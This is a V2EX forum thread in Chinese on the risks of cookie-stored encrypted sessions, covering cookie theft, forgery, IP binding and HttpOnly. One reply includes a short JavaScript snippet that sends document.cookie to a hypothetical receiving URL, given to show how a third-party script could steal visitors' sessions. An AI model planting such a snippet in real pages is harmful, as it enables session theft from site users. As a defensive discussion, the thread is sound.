基于cookie存储的加密session有什么风险?

2013-12-17 14:26:38 +08:00
 kran
假设其他人得不到加密key的话.
7009 次点击
所在节点    程序员
31 条回复
Shieffan
2013-12-17 17:32:17 +08:00
”如果别人能通过某种方法得到了一个管理员的所有cookie键值,那是不是全部暴露了?
一般用什么方法阻止这种伪造cookie?“

@kran 除了将session id的生成算法加入客户端特征(ip,浏览器ua等),我想不出其它办法。否则没道理同样的cookie我转移个地方就不能用了。
txlty
2013-12-17 17:35:45 +08:00
拿到了cookie,就拿到了身份验证所需的全部信息。这是互联网的规则。我试过京东、QQ空间、新浪微博。。。都是这样!
如果你不希望这样,那么只能登录时,把IP也加进去作为判断条件。同时,“下次自动登录” 也失效了。因为国内宽带有海量动态IP用户。
cookie伪造,并不是什么高深的东西,chrome\firefox,装个插件,就可以随意修改cookie。
txlty
2013-12-17 18:17:57 +08:00
@yushiro
@wodemyworld
@binux
@dorentus
不一定需要通信链路上中间人权限、或者电脑中了木马 才能窃取cookie。
任何引入外部的js文件,文件宿主方,都可以窃取目标网站访客的全部cookie!比如:广告联盟代码、统计代码、社会化分享按钮、外部ajax库、社会化评论框、社会化登录按钮。。。。
以v2ex为例,如果google想窃取v2ex全站用户cookie,只要在google-analytics.com/ga.js 里悄悄加几行代码就ok。没有跨域问题,用户也不会收到任何提示。比如:
var url="http://www.google-analytics.com/getcookie.php?cookie="; //假设的接收端
var imgxx = new Image();
imgxx .src = url+document.cookie;
这样,v2ex用户的cookie雪片般飞向google,一天以后,用户cookie就被偷的差不多了。
这只是举例。google不至于这样做。但别的厂商呢?
wodemyworld
2013-12-17 18:20:35 +08:00
@kran 我想知道怎么会出现“某种方法得到了一个管理员的所有cookie键值”,这本身就是个问题吧,你用https做传输,谁能获取到加密的http header信息啊

如果你假设客户机器上有病毒、有流氓软件、或者是肉鸡,那你怎么防也没用啊,逻辑上就没法预防,你又不能从网线里看到用户长什么样,如果用户本身机器没中毒,也不会出现你说的这种情况啊
wodemyworld
2013-12-17 18:27:15 +08:00
@txlty 擦,你更狠,直接在服务器上植入病毒。。。。。。既然对别的厂商的东西不确认是否有恶意代码,干嘛还要用
Shieffan
2013-12-17 18:34:31 +08:00
@wodemyworld 前段时间不是有那个么,利用路由器漏洞篡改路由器dns到私有dns server,然后把cnzz,ga等的dns指向一个私有服务器,替换统计代码为点击劫持广告代码。其实它们完全可以更恶意更狠点。。
binux
2013-12-17 18:50:29 +08:00
@txlty 这里的中间人是指能拿到用户cookie的人,知道意思就可以了
ooh
2013-12-17 19:25:42 +08:00
useragent 然后再 加一些header头里面的东西加密
wodemyworld
2013-12-17 21:20:03 +08:00
@Shieffan 这个就不用管它了,中国这世道就如此了,没治的,国企犯法不算犯法,刑事也不追究,想不被fuck就去国外吧,在国内就是被强奸的份,我这儿到现在电信还在玩dns挟持,用默认dns下载下来的iqiyi都是被替换过的盗版apk,里面篡改了广告源
kran
2013-12-18 00:02:12 +08:00
。。。真是没个结果啊

先设置短点过期时间,要不加个ip得了
dorentus
2013-12-19 18:32:46 +08:00
@txlty
http-only cookie 就是拿来防这个的。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/93490

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX